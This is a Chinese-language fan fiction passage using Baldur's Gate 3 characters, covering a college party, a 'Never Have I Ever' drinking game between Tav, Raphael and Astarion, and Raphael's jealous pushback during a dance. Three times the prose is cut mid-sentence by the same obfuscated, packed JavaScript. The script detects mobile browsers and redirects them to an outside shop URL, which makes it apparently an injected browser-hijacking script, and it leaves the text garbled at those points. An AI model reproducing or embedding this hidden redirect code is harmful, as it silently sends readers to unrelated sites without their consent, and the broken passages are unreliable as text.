又说笑几句,影心与塔夫贴面道别,给了她一个响亮的空气吻:“今晚好好享受!” “玩得愉快。”哈尔辛也给她一个温暖的友好拥抱。接着二人绕过主宅,直奔后花园的纵饮狂欢派对,听说威尔之前还被推上舞台,和乐队一起表演了一曲。 “我也许之后会去找你们!”塔夫和二人道别,一个人站了会,走入气势恢宏的正门门厅。 地上铺着光可鉴人的大理石地砖,天花板上悬着一盏巨大的枝形水晶吊灯,到处有金红两色的点缀。门厅左右是对称向上的两段楼梯。身旁陆续有人进出,似乎都知道要去哪里。 之前的忐忑又回来了一些。 塔夫慢慢呼出一口气,像是心有灵犀,仰起头,看到拉斐尔。 他看上去真是英俊极了。 拉斐尔朝她举了下酒杯。方杯里是琥珀色的浓郁液体,应该是某种威士忌,一整块冰和杯身轻轻相碰。他转过身和不知道谁说了句“不用等我”,又似乎有些意外她仍在门厅没有动:“来。” 塔夫这才走向楼梯。扶手是一种深色木材,纹理细腻柔和,尽头两端的栏柱上都有动物浮雕,看上去几乎是一件艺术品。她沿着台阶走向二楼,因为水晶吊灯的明亮光线不得不微微眯起眼睛。 不知为什么,拉斐尔变得有些陌生。 他属于这里。不,他是这里的主人。 而这里,是她想要了解却又隐约回避的他的世界。 在这个世界里,拉斐尔的举止似乎多了些距离,变得更加克制,她熟悉的一些表情也都不见了。或许是因为端着酒杯,他没有去牵她的手,而是直接带她穿过二楼的短短画廊,来到尽头一间敞着门的沙龙。 那里已经有二三十个人,男男女女都有,在玩一种规则复杂的桌上弹球游戏,输掉的惩罚是喝酒。阿斯代伦居然也在,而且明显是人群的焦点。 塔夫和拉斐尔进入这间宽敞的房间时,一位金色卷发的大个子正弹出两个球,成功落在阿斯代伦面前的同一个杯子里。 “加倍!”他欢呼一声。 “拉斐尔。”阿斯代伦点了下头,“你没有错过太多。” 他也瞧塔夫一眼,却似乎没有认出她,直到拉斐尔微微提高声音,简单向众人介绍“这是塔夫”,阿斯代伦才懒洋洋冲她打了个手势。 其他人也从游戏中转向塔夫,还算礼貌地示意他们看到她了,又立刻回到游戏。 “要喝点什么吗?” 拉斐尔用极为相似的礼貌询问塔夫。 塔夫觉得自己的嗓子有些发干,但不等她说什么,阿斯代伦已经冲拉斐尔说:“下回合是双人。” 金色头发不满:“他得等到下一轮!” 阿斯代伦嗤笑:“没有这条规则。你在害怕什么?” 金色头发回道:“害怕输的恐怕是你吧!” 塔夫便对拉斐尔说:“我看到吧台了。你去玩。别担心我。”拉斐尔点点头,来到阿斯代伦身边。他看上去也很擅长这个游戏,至少和阿斯代伦一样擅长。 塔夫到沙龙一角的吧台处拿了个玻璃杯,又倒出半杯气泡水。刚喝几口,一位姑娘来到她身边,没有多少掩饰地打量一下她的裙子:“是拉斐尔邀请你来的?” 她也有一头栗色长发——但和塔夫浓密得有些蓬乱的头发相比,她的要柔顺服帖得多,直直垂到腰间,一张巴掌大的苹果脸,五官精致,表情高傲。 “是赛艇俱乐部的捐款基金委员会。”塔夫还记得邀请函上的花体字落款,笑着打趣说。 姑娘挑起一边眉毛,又不屑地嗤笑一声:“是这样吗?” 对方显然没有理解自己的笑话,她那态度也让塔夫懒得同她解释,随便应一句,便回到桌球游戏前想要搞懂规则。但似乎没人清楚,哪怕每个人都跟着尖叫大笑。或许是他们也懒得向她解释。 塔夫有些无聊地到一旁的皮沙发上坐下,沙发前铺着一整张的牛皮地毯,踩着很舒服。她仔细观察起地毯的花纹,猜测这是什么品种的牛,听着偶尔爆发出的欢呼,大概知道又几回合下来,每个人都需要喝酒,最多的是金色头发,要喝整整六杯,而拉斐尔和阿斯代伦则是胜利者。 游戏似乎终于结束了,拉斐尔被金色头发一把揽住肩膀说着什么,却是阿斯代伦先来到塔夫身边。 “一会要来玩吗?”他语气仍有些冷淡,但至少不再装作不认识她,也是这屋子里第二个主动和她说话的人。 “我还没有搞懂规则。”塔夫说。 “哈!”阿斯代伦微笑,“不需要搞懂也可以加入。” “但你很清楚规则。”塔夫指出,“所以才能赢。” “是的,不过这只是游戏。”阿斯代伦笑容似乎真诚了些。 拉斐尔不知什么时候已经来到二人身边:“我们下轮玩点别的。” “那不如玩最简单的。”阿斯代伦说,“塔夫也可以一起,顺便增加我们彼此之间的了解。” 塔夫点点头,以为拉斐尔会伸出手拉自己站起来,但他只是又说:“来。” ——这次是让其他人过来。 . 拉斐尔和阿斯代伦的提议得到大多数人的响应。 事实上是所有人,因此人数有些太多,便被分成了两组。玩桌球的桌子没有收起,仍摆着各种形状的酒杯。不过这次的游戏规则要简单很多。 ——我从来没有。 众人围成一圈,顺时针依次说一件自己没有做过的事,但最好其他人做过。为了游戏好玩,越荒唐越好。 当有人做过发言者所说的那件事时,就需要喝一口酒。 如果没有其他人喝酒,发言的玩家则需要自己喝。 每个人面前摆着一大一小两个酒杯。大酒杯被倒上同样多的酒,小酒杯则用来罚酒,杯中酒喝完就是输掉游戏。 塔夫是最后到的,应该由她开始,但既然她没有经验,阿斯代伦便坐到她右手边:“我先来,给你起个样子,下一个就是你。” 塔夫笑着摇摇头:“谢谢,不过我这次听懂了规则。” 拉斐尔自然坐到塔夫左手边,大家也都纷纷找地方坐下,金色头发更是干脆直接坐到地毯上。 游戏开始,塔夫开口: “我从来没有,玩过‘我从来没有’。” “你可真是太狡猾了。”阿斯代伦立刻大声说。 金色头发也抗议道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244805|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你已经在玩了。” “以前玩过的都罚酒。”拉斐尔倒出一小杯,语气平淡但不容置疑,“三秒内喝掉。” 嬉笑声中,一圈人都喝了一杯。 接下来是塔夫左手边的拉斐尔,他说的很中规中矩:“我从来没有过,一夜未睡。” “你准备每次玩都说相同的事吗?”阿斯代伦一脸“你可真无趣”地撇撇嘴,又倒出一杯。 除了塔夫没有动,其他人也都喝了第二杯。 “这不可能。”金色头发放下杯子,对塔夫再次抗议,“你知道的吧,这个游戏的关键是诚实,否则可就没意思了!” “我其实试过好几次熬通宵。”塔夫一脸遗憾,装模做样地重重叹口气,“可惜都没成功,哪怕是每年跨年的时候。” 金色头发反而笑起来,朝她挑挑眉:“也许今晚可以成为你的第一次。需要帮忙的话可以找我,我很擅长。” 听着有些古怪。像是什么暗示。 塔夫眯下眼睛没接话。拉斐尔也没有什么反应,反而是对面两位女生——其中一位是栗色长发姑娘——对视一眼,不无轻蔑地讽笑一声。她们看上去充满毫无缘由的敌意,塔夫也隐约不快起来。 游戏继续。 从一开始相对中立的: “我从来没有,纹身过。” “我从来没有,骨折过。” (拉斐尔喝了一杯,阿斯代伦则喝了两杯。) 到慢慢的变得有针对性: “我从来没有,对正在一起玩这游戏的人说过谎!” “我从来没有,对正在一起玩这游戏的人违反过承诺,和TA之前的伴侣偷偷联系!” 这似乎是一对争执的情侣或者前情侣,但是明显波及到无辜。金色头发从游戏开始就没停下过喝酒,此时默默又喝两口。栗色头发则一脸怒容地瞪着他。 塔夫恍然明白这游戏的“乐趣”所在,以及阿斯代伦口中的“了解”。 这可真是意料之外,尤其她并没有主动探听。而且相较之下,她的生活还真是平静,直到现在都没有喝过一口。 轮到栗色头发,她却突然转向塔夫:“我从来没有,去过不是来自主人邀请的聚会。” 塔夫肯定她是在阴阳怪气自己,但坐着没有动,倒是金色头发又喝一杯。接着,栗色头发的同伴又说:“我从来没有,幻想通过走捷径得到不属于我的东西。” 两人一起瞟着她,这态度太过明显,塔夫忍不住哼了一声。 “自罚。不是实际做过的事,而是幻想。”拉斐尔平静开口。那女生怔了怔,又瞧眼栗色头发,还是喝了。 金色头发却像是什么都没听见一样,直接从大杯喝完最后一口,扣下杯子站起身:“我输了。” 但下一个就该轮到他说,阿斯代伦不允许他退出。 金色头发沉默一会:“我从来没有,为了不可告人的目的说谎装病,而且被发现了还反过来要求对方安慰。” 栗色头发一下子站了起来,盯着他:“你什么意思!?” 金色头发却没理她,耸耸肩:“看来没有人喝。那我还是输了。” 塔夫从怔愣中回过神,像是小组发言般举了下手:“我。”这才在众人目光中倒出酒,喝下第一杯。 “哼!”栗色头发笑了一声,看向塔夫的目光却一下子友善很多,冲她点点头,优雅地重新坐下。 金色头发也瞧她一眼,勾了勾唇。 塔夫更加莫名其妙:这算是同病相怜还是同仇敌忾?一个人以为自己在帮她打掩护向她示好?另一个以为她不想让他离开特意为他喝酒?但无论敌意还是善意,其实都跟她毫无关系。 而她身旁的拉斐尔——这一整晚除了最开始那句简单介绍外,在其他人面前和她几乎没有任何互动的拉斐尔——终于转过头,眼神有些过于专注地看着她。 塔夫心里有些气,便装作没看到,亮下杯子:“喝完了。” 阿斯代伦十分满意的样子,愉快开口: “我们继续!” . 66.从未 接下来一个人留着黑色寸头,头发短得能看到圆溜溜的头型,五官也圆圆的,气质温和。他似乎想要缓和下气氛,说得比较温吞正经: “我从来没有,因为作弊收到过学校处罚。” 塔夫终于忍不住看向拉斐尔,这几乎称得上是她与他相遇的契机。 拉斐尔也正望向她,视线与她相汇却又立刻移开。塔夫的微笑便只弯一半又收了回去。不是她的错觉,拉斐尔真的在有意同她保持距离。 至于这位温和派的好好先生,落了个以自己喝一口酒的下场,于是,接下来几人便又开始搞怪,而且是没有明显指向目标的胡乱攻击: 从来没有在洗澡的时候唱歌。 从来没有在冲萨河里裸泳。 从来没有因为笑得太厉害把嘴里的食物或饮料喷出来。 …… 气氛一下重新热烈起来。 阿斯代伦带头搞事情:“拉斐尔,你唱的是什么歌?” 金色头发立刻跟上:“原来队长你是会洗澡唱歌的那种人?所以才要自己用单独的更衣室吗?唱两句让我们听听!” 拉斐尔正倒出酒,闻言半环过塔夫,一把抓在阿斯代伦肩膀:“校友日第二天晚上,我和阿斯代伦有演出,在小剧院。”阿斯代伦没好气地斜他一眼,干巴巴地应了一声:“呵。是。” 塔夫惊喜起来,正准备再多介绍几句,欢迎大家带朋友一起去,金色头发已经先大大咧咧道:“先把酒喝了,别想糊弄过去!一滴也不能洒!”她便错过了那个开口的最佳时机。 不过她倒是没有遗憾,拉斐尔刚才仍没有提到她,阿斯代伦也没有,也许推销太多反而会帮倒忙。只可惜直到最后,她也不知道拉斐尔唱了什么歌。 塔夫偷笑着在心里记住,准备私下问。 . 冲萨河裸泳直接让一圈男生都喝了酒,除了拉斐尔。 金色头发正式出局,阿斯代伦再次针对拉斐尔搞事情:“你居然还没有遵守兄弟会的优良传统?不如今晚就去好了?我们会一起替你好好看着衣服的,一人抱一件。” 金色头发咧开嘴,一副准备要大笑着赞同的模样,拉斐尔似笑非笑:“你仍在兄弟会。”他一下噤声,站起身才“啧”了一句,接着立刻跑去找另一边也被淘汰的人,重新组织玩弹球游戏。 . 至于笑喷,又有几个人喝了酒,但没人淘汰。下一个终于到阿斯代伦,他充满戏剧感地一个人一个人慢慢扫视过去:“我想知道点什么呢。” 拉斐尔却突然看向塔夫:“你喷过食物。罚酒。” 塔夫诧异,下意识否认:“不,我没有。” “我当时就在那儿。” “哪儿?” “学生自助餐厅。” “什么时候?” “有很多薯片那次。” “我那时可没有笑。”塔夫也回忆起来,却忍不住笑了,“我是因为太过吃惊。” 拉斐尔轻哼一声,没再说话。 塔夫得意洋洋地下结论:“所以我不需要喝酒。” 一圈人都没说话,静静看着二人。 塔夫反应过来,不由得有些尴尬,连忙轻咳一声,又催促阿斯代伦快说:“到你了,你从来没有做过什么?” 阿斯代伦红色的眼睛微微眯起,像是在仔细凝望观察她:“我从来没有,唔嗯,对一起玩这游戏的人,哼嗯,做过不太好形容的梦。” 塔夫脸一下子涨红:“什、什么?” 栗色头发已经问出口:“什么叫作不太好形容?” “就是你不会对那个人主动说出来。” “对淘汰的人也算?” “算。” “行。”她倒出一小杯,一仰头,直接灌进喉咙。 有栗色头发带头,塔夫尴尬一下少了很多,也飞快喝了一杯。放下杯子,她发现身旁拉斐尔也喝过,心里顿时像有猫爪子在挠。 阿斯代伦摆出若有所思的模样,拖着长音又唔一声。 塔夫暗叫糟糕:阿斯代伦下一轮肯定会继续再问点什么,她得快点出局不能再玩到下一轮了! 等等,为什么要她出局呢,她完全可以把阿斯代伦先淘汰出去。 塔夫瞄了眼阿斯代伦的杯子,只剩最后两口,又看看自己几乎还是满的杯子,一下子激起胜负欲。 有什么是她没做过,但是阿斯代伦一定做过的呢。 这简直是太容易不过了! 塔夫开口:“我从来没有读过法学院。” “哈!”阿斯代伦一个人干脆地喝下一杯,慢悠悠说,“你在针对我呢,塔夫。你在害怕什么吗?这可是说明了‘更多’事情。” 塔夫没有想到这点,下意识地咬起嘴唇。 这群贵族都是这样的吗,对别人的害怕情绪这么敏锐?好吧,怪她没多想。 她一时不知道应该如何回复,好在拉斐尔已经直接说出他的从未:“我从来没有亲吻过,”他顿了下,看着阿斯代伦,“认识不满一整天的人。” 阿斯代伦愤愤直接喝下最后一口:“该死的,拉斐尔!你也是故……”他停住了,因为塔夫也跟着默默喝了一杯。事实上每个人都喝了,除他之外另有三人惨遭出局。 “哦?”阿斯代伦成功捕捉到拉斐尔眉毛瞬间蹙起又抚平,轻笑一声又看看塔夫,凑到她耳边,“这可还真是个令人愉快的意外。” 塔夫立刻躲开,靠到拉斐尔身上。而他的第一反应居然是向旁边避了下,拉开二人距离。她不由得一怔。 “好极了!我很喜欢!”阿斯代伦看上去更开心了,悠哉游哉道,“我们继续。” “你已经出局了。”塔夫立刻说。 “但我仍可以在旁观看。”阿斯代伦抱起手臂,舒服地靠在沙发上。 似乎没有规则要求输掉游戏的人必须离开。另外三人中,两位男生跑去跟金色头发玩桌球,而栗色头发的朋友则仍陪着她。 “轮到下一个人了。”阿斯代伦得意地说。 淘汰的人越来越快、越来越多。 那对怨侣再次双双攻击对方,顺便带走栗色头发,几个人一起直接离开沙龙,大概要去吵一架或哭一场。 好好先生则说他:“从来没有食物掉到地上后又捡起来再吃掉。”塔夫在阿斯代伦的嫌弃声中黑着脸又喝一小杯:“不能浪费粮食!”,发现自己不知不觉已经喝掉一半。 令阿斯代伦有些失望但令塔夫安心的是,接下来两位搞怪份子的问题明显是冲着拉斐尔去的,并满意地确认了几个关于他的传闻: ——拉斐尔吃过某种由幼年海怪膜翅制成的、最近被泛费伦-稀有物种保护者联盟呼吁禁止的昂贵菜肴。 ——以及,拉斐尔从来没有穿过丁字裤。 (其他人却都喝了一杯,包括好好先生,又两人出局。阿斯代伦笑得非常开心并拒绝回答自己对内衣的偏好和经历:“你忘记了吗,亲爱的,我已经出局了。”) . 游戏来到第三轮,只剩下四人:塔夫、拉斐尔、好好先生、搞怪份子。除了搞怪份子只剩最后一口酒,塔夫等三人居然都仍有三次机会。 塔夫问前两个问题时很是取巧,眼下真的思索起来,脑袋里却充满她做过的一桩桩事,没有一件是她没做过的。 阿斯代伦大发善心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252849|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“达~令~,不如让我来帮你好了。” 塔夫同一时间脱口而出:“我从来没有加入过任何一支男子运动队!” 另外三人都需要喝酒,搞怪份子终于被淘汰。阿斯代伦啧一声:“男子运动队?这种你也能说得出口?你是真的很想赢呢。” 塔夫对自己刚才的急智很满意:“我的确是。” 拉斐尔正放下杯子,闻言轻笑一声。 阿斯代伦意有所指:“但是拉斐尔也是一位玩家。” 塔夫不理睬他的双关语,笑着答:“不过现在看来,是我最有机会。” 阿斯代伦又说:“但你也错过了很多机会。” 塔夫不再和他玩文字游戏,朝拉斐尔挑下眉:“到你了!” 拉斐尔微微弯起唇,看向好好先生:“我从来没有剃掉过所有头发。” 好好先生摸着自己刚长出来不久的短寸头发,意识到自己在被集火,叹了口气。没想到塔夫也有些无奈地倒了一杯。他发现仍有机会,又重新努力思索起来,结果再次自罚,自己把自己送出局。 “啊哈!”阿斯代伦夸张地大声道,“王不见王!最后的巅峰对决!” 另一边的“我从来没有”已经结束,而弹球似乎也正好告一段落,不少人都聚了上来。 塔夫突然被一大群人围观有些不自在,忍不住瞪阿斯代伦一眼,又举起杯子问拉斐尔:“干脆就到这儿好了。平局?” “那可不行!”阿斯代伦立刻回答。 塔夫朝拉斐尔使了个眼色:我们可以把问题留到以后,只有我们两个人的时候,那不是更有意思吗。 这眼色也太过复杂,她估计拉斐尔一定没办法接收到,又不想在众人面前直白地说出口。拉斐尔已经和她碰下杯子:“好。” 塔夫垂眼望着酒杯,抿唇笑了下。 阿斯代伦低声配起旁白音:“我闻到了阴谋的味道。” 话音未落,二人一起仰头把酒喝光,他惊呼,“什么?没有任何诡计?!这简直是我能想到的最无趣、最令人失望、最反高潮的结束游戏的方法!” “你怎么知道我其实挺喜欢反高潮的情节设计?”塔夫放下杯子,笑嘻嘻道,“而且反高潮不才是真正的意外吗?我以为你也很喜欢意外呢。” 其他人见游戏就这样结束,转身重新找起别的乐子。金色头发更是揪着一人直接嚷嚷起来: “嘿!差点忘了!你还有两杯没喝!别想逃!” 阿斯代伦看上去却是真情实感地气愤起来:“嘁!这可真是个令人败兴的意外!在扫别人兴的这个领域,你们两个还真是格外般配!” “阿斯代伦。”拉斐尔开口。 阿斯代伦想到什么,轻哼一声又慢慢露出一个微笑:“我们有一整晚可以玩游戏,胜负还未分呢。” 塔夫继续笑嘻嘻:“可我已经赢了。现在,赢家准备去其他地方转转。” “来。”拉斐尔直接站起身,又对阿斯代伦补充说,“因为我也是赢家。” 塔夫伸出拇指和食指,贴在额头上比了个L:“拜啦,输家!” 阿斯代伦:“……” “幼稚!”他翻了个大白眼,非常有气势,“你们两个都是!” . 塔夫没说想要去哪里也没有询问,只是开心跟着拉斐尔,没想到他居然带她来到赛艇队的健身房前。里面望进去黑漆漆的没有一个人,只有一整面墙的镜子反射着走廊上的灯光。 她忍不住想要打趣一句,拉斐尔已经转过身拉住她的手。他看上去恨不得立刻拥抱她,但必须先说清楚一些事情: “塔夫,我……” . 67.平常 “塔夫?!” “拉斐尔。” 健身房里居然有其他人在。 塔夫一惊,连忙后退几步,和拉斐尔保持社交距离。 米佐拉噙着笑,不紧不慢走了出来,身后却是威尔。他表情有些窘迫,落后数个身位,对塔夫点下头算是打招呼。米佐拉看上去则很镇定,倒像是她特意在这里等着塔夫和拉斐尔一样。 “我们又见面了。”她微笑对塔夫说,接着径直来到拉斐尔身前,手指在他肩膀上掸了下,“你不会介意的,是吗?” 拉斐尔面无表情地哼了声或嗯了声。 米佐拉对威尔招招手:“来吧。” . 目送二人身影消失,塔夫对拉斐尔重复一遍:“来吧。” 又问,“这是什么贵族的口头禅吗?你今天晚上也说过好几次。” 拉斐尔有些意外的样子,回忆了一下说:“似乎是的。” 塔夫正准备开口,金色头发的声音响起:“这里今晚不会有人来……嗷!你?队长!你们?!”而在他身边的居然是栗色头发的朋友,一把将他仍紧紧抓在自己腰上的手拽了下去。 塔夫:……这一晚上的信息量也太多了! 拉斐尔皱眉盯了眼金色头发,他一下站直:“我会私下解决,绝不影响训练。” “比赛已经结束了。”拉斐尔简单说,示意塔夫同自己一起离开。 . 二人走过一段距离,拉斐尔听到塔夫半是玩笑半是认真地低声提议:“我们还是去人多的地方吧,也许反而不会引人注意。” 他沉默片刻:“刚才,你觉得被冷落了吗?” 塔夫一怔:“觉得你和平时不太一样,所以大概是有些……不习惯。” “那是我平时的样子。” 拉斐尔想解释更多。他担心自己的关注或者亲密举动,会让塔夫成为一群陌生人眼光和评论的焦点,令她感到不自在,尤其是她今晚已经漂亮得能够吸引所有人的视线。 可他似乎反而让她不安了…… 他顿了顿,接着又补充一句,“我和朋友在一起时的样子。” 塔夫点点头:“嗯,我在家里也是另一副样子。”她语气又好气又好笑, “话说,阿斯代伦一开始还装作不认识我呢!” 拉斐尔有些意外。 只是这样? 不过既然塔夫并不介意,他主动解释反而显得多余。虽然他之前有这个打算,但接连两次都被打断。他最后决定无需多说,顺着塔夫的话道:“阿斯代伦有时会这个样子,对任何人都是如此。” . 塔夫抿抿唇。 说实话,她其实是有些失落的。 她没有适应拉斐尔的圈子——她不认为这会容易,或许她也并不需要。然而拉斐尔似乎也没有这个打算,既没有怎么介绍她,也始终在别人面前同她保持着距离。 她甚至猜测,这是拉斐尔惯常对女伴的态度。如果不是这个圈子的人,来到这里便已经是一个“机会”,大概会更主动地想办法融入,而不是要求拉斐尔做什么。 而且更重要的是,他其实没有真的冷落自己,无论是提出换游戏,还是游戏中若有若无的偏向,以及主动提及剧团的演出。 塔夫最后决定自己消化这点不快就好,继续调侃阿斯代伦:“他输掉游戏之后看上去很不服气呢。”说着又促狭起来,“你洗澡的时候,是在练习我们演出的歌曲吗?” 拉斐尔忽然扭头瞧她,表情有些古怪,塔夫连忙又笑着解释:“我可没在想你洗澡时的样子。”哎,还不如不说这句。 “我的确练习过,团长你还满意吗?”拉斐尔不轻不重地顶了回来。 如果他耳尖没有变红的话,塔夫会再调笑几句,可她却忽然想起下午时拉斐尔说过类似的:你摸得还满意么? 啊,她现在反而真的忍不住要去想象那画面了! 隐约听到音乐声,塔夫生硬转移话题:“我们去看别人跳舞吧!听说这里有一个专门的社交舞舞池?” 好在拉斐尔也没非要一个回答,随她的话问:“只是看看而已?” “你知道我的跳舞水平。”塔夫好笑地瞥他一眼。 她似乎也不应该提这个,因为拉斐尔的表情明显是“他有了一个好主意”。 女神啊,她不会要被逼着练习跳一晚上华尔兹吧!? 塔夫的退堂鼓完全没有传递给拉斐尔,因为他已经推开一道门。 音乐变得更响了,不是华尔兹,也不是任何社交舞曲,而是节奏明快鼓点清晰的调子,塔夫大大松一口气,看到拉斐尔同一时刻弯起唇,是她熟悉的笑容:“一起吗?” . 门后是一条铺着黑白两色大理石地板的走廊,几个学生正靠着墙相互打趣,塔夫与拉斐尔走到尽头,眼睛花了点时间适应后,看到更熟悉的派对气氛。 只有吧台附近有柔和灯光,房间另一边的门大敞,门后露台一部分直接被改为舞台,同时面向后花园。影心和哈尔辛应该也在这附近。 鼓点的震动透过地板传到脚底,塔夫更加放松下来。 询问她不需要再喝点什么后,拉斐尔很快就握住她的手,拉她到跳舞的人中间。 “我以为你今晚都会和我保持距离呢。”塔夫下意识开口。 拉斐尔已经松开她的手,和她面对面站着:“你为什么会这么以为?” 这种把问题反问回来的方式还真的很拉斐尔。塔夫暗暗好笑,同时觉得两人简直像插在舞池里的两根棍子,开始随节奏随意晃起来:“因为下午的事。”她那时好像有点强人所难,太过亲密让拉斐尔有些不舒服了? 拉斐尔垂眼看着她,忽然笑了,把她拉得更近,两人几乎脚尖碰着脚尖。他也随音乐摆动起来:“放松,塔夫。” “我很放松。”塔夫立刻说。 “只是僵硬。”拉斐尔替她说完。 塔夫也笑起来,后知后觉地有些醉意,学着拉斐尔的样子,放松下来随节奏左右摇晃肩臀四肢。 音乐几乎在她身体里震动。她似乎不小心甩到一个人,接着是另一个。拉斐尔一直在看着她,冲她一挑眉又弯起眼睛。塔夫判断那一定是在取笑她,要接受他的挑战,跳得更起劲,却又被另一个人从后面撞到,向前跌倒。 拉斐尔连忙伸手扶住她。 塔夫靠在拉斐尔怀里,再一次觉得嗓子发干。 两人紧紧拥抱在一起,没有一点缝隙。已经过了好几次呼吸,他的手仍停在她腰上,一动不动但热度惊人。她重新仰头看着他的时候,听见心跳加速的声音。 并不是她一个人的。 她在拉斐尔眼睛里看到相似的光影,感到胸口也一阵发烫。 他和她一样。 他也很想吻她。 别管什么等到那一刻了! 塔夫目光在拉斐尔双唇停留片刻,又滑过挺直的鼻梁,重新望向他双眼。他睫毛轻颤,视线始终落在她的唇上,喉结明显滚动了下。塔夫忍不住弯起唇,双手慢慢抚上他结实的胸膛和手臂,微微合上眼睛,不过片刻,又猛地睁大。 拉斐尔忽然握住她肩膀,将她推开近半臂距离。 他的视线仍落在她唇上,却不再有刚才的眼神,眉毛也轻轻蹙了起来。 塔夫疑惑不解。 为什么? 她刚才的感觉绝对是真的。 她稍稍向前靠了过去。拉斐尔居然手上使力阻止她,意识到两人的对抗,又一下松开手,仿佛她是什么烫手山芋。 “怎么了?”塔夫问出口。 拉斐尔张了张嘴,又合上。 塔夫盯着他的唇,想从那里得到一个答案。她熟悉拉斐尔的这个反应,她甚至有些恼恨自己这样清楚。当他意识到会说出什么糟糕的话的时候,就会这样很有风度地、“得体”地控制住。 可她现在宁愿他直接说出来。 “发生了什么吗?”她又问。 拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262498|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斐尔始终没有回答,甚至干脆移开视线不去看她。 没有回答也是一种回答。 塔夫一下涨红脸,除了难为情,还有难堪和愤怒。 “我需要点新鲜空气。” 她匆匆说了句,这次不等拉斐尔回复,便穿过舞池,越过露台,直接走到室外的草地上。 拉斐尔没有跟来,她也不知道一会能不能重新找到他,不过她现在没功夫考虑这些,她实在没办法在那里继续待下去了。 也许她应该回去了。 塔夫试着找了下影心和哈尔辛,然而始终没有找到。她犹豫片刻,便又想要去寻拉斐尔,接着对自己感到一阵失望。她做了个深呼吸,终于还是绕过主宅,朝大门一步一步慢慢走去。 她甚至搞不清楚自己的想法了,是希望拉斐尔回答还是不要。他在他熟悉的环境里,这便是他对她的下意识反应——保持距离。 也许拉斐尔的原因和她之前一样,想等到约定那天。可这到底有什么不能说的?而且哪怕她昨天退缩了,也没有像他这样直接推开自己。是因为身体没办法说谎?她喜欢他想亲近他,但他并没有那么被她吸引…… 塔夫忽然挫败极了,甚至怀疑起自己在舞池那时的感觉。 “已经准备离开了?”守卫似乎有些惊讶。 塔夫回过神,发现自己居然已经走到大门。 转身回派对已经太迟,她点下头:“我有些不舒服。” . 回去的路上,塔夫走得很慢。 她是在期待拉斐尔发现她不见了,追上来解释吗? 简直毫无道理可言,她没有看到任何拉斐尔会嫌恶自己的迹象,甚至今天下午的时候也是。他虽然不大情愿,却也并没有讨厌。她刚才重新提起这件事的时候,他甚至将她拉近身前。显然他并不介意。 但今晚和他的朋友在一起的时候,气氛的确不太一样。 是这个原因吗,他终于意识到她和他的背景有很大不同。 可这差异始终是存在的,如果他在意的话,又为什么要开始,把她当成什么了!? 其实还没有任何开始,不是吗?无论是对她来说还是对拉斐尔。 当塔夫终于以为自己想清楚一些时,却听到拉斐尔的声音: “塔夫!你已经离开了?” 她几乎是下意识地想加快脚步,还是忍住,停下来转过身。 拉斐尔几步追了上来,胸口有些起伏,表情不算愉快:“我以为你至少会和我道别。” 塔夫语气尖刻起来:“如果你是想说我没有应有的礼貌的话,我觉得我这次是情有可原的。” “因为,刚才……跳舞的事?” “是的!看来你也知道那有多无礼!不仅仅是推开我,而且还不愿告诉我原因。”塔夫自己一人思索时没有察觉,见到拉斐尔却感到一阵有些无助的委屈,“亲……,真的有那么糟吗?” 她话问出口就再次难堪起来:“我先回去了,我现在没办法冷静同你说。” 拉斐尔连忙牵住她的手:“我送你。” 塔夫任由他握着,不过不肯回握:“你终于决定解释一下了吗?” “你刚才说,现在没办法冷静。” 塔夫被气笑了:“我没办法说,但可以听你说。” 拉斐尔却再次沉默下去。 “我知道你的意思了。”塔夫想甩开拉斐尔,他却五指紧扣,重复道:“请让我送你。” “与其尴尬沉默地一起回去,我宁愿一个人走。”塔夫无法理解, “原因到底能糟到哪去?就算你说你后悔了我也能接受!而不是像现在这样,让我猜测自己哪里做的不对。” “不是因为你,”拉斐尔声音低了下去,“是因为我……” 塔夫目不转睛盯着他,却忽然被他重重揽进怀里。拉斐尔胸口起伏,手指扣在她肩膀,像是这样能让他感到安全:“那时,我在想,你也是这样亲吻他的吗?” . 68.麻烦 他…… 问出口了。 拉斐尔不想承认自己在嫉妒一个一无所知的人——除了塔夫认识那个人不到一天就与他接吻这件事。 他接受塔夫的过去,也当然知道现在和她在一起的是自己。只有自己。他自信他会比那个人做得更好。 他只是意识到,对塔夫来说,亲吻也许并不是多么重要或特别的事。她第一次吻他,和他第一次吻她,代表的涵义也许是不同的。 那个人…… 到底是谁…… “谁?”塔夫推了下拉斐尔,“那个他是谁?” 拉斐尔仍抱住她,这样就不用看到她的表情和眼神,她亦看不到他:“你认识不满一天的那个人。” 怀里的人沉默。 别问。 别追问细节。 如果非要问的话,也只问她的看法,问她是怎么看待和自己的亲吻。 不,干脆就不要问。 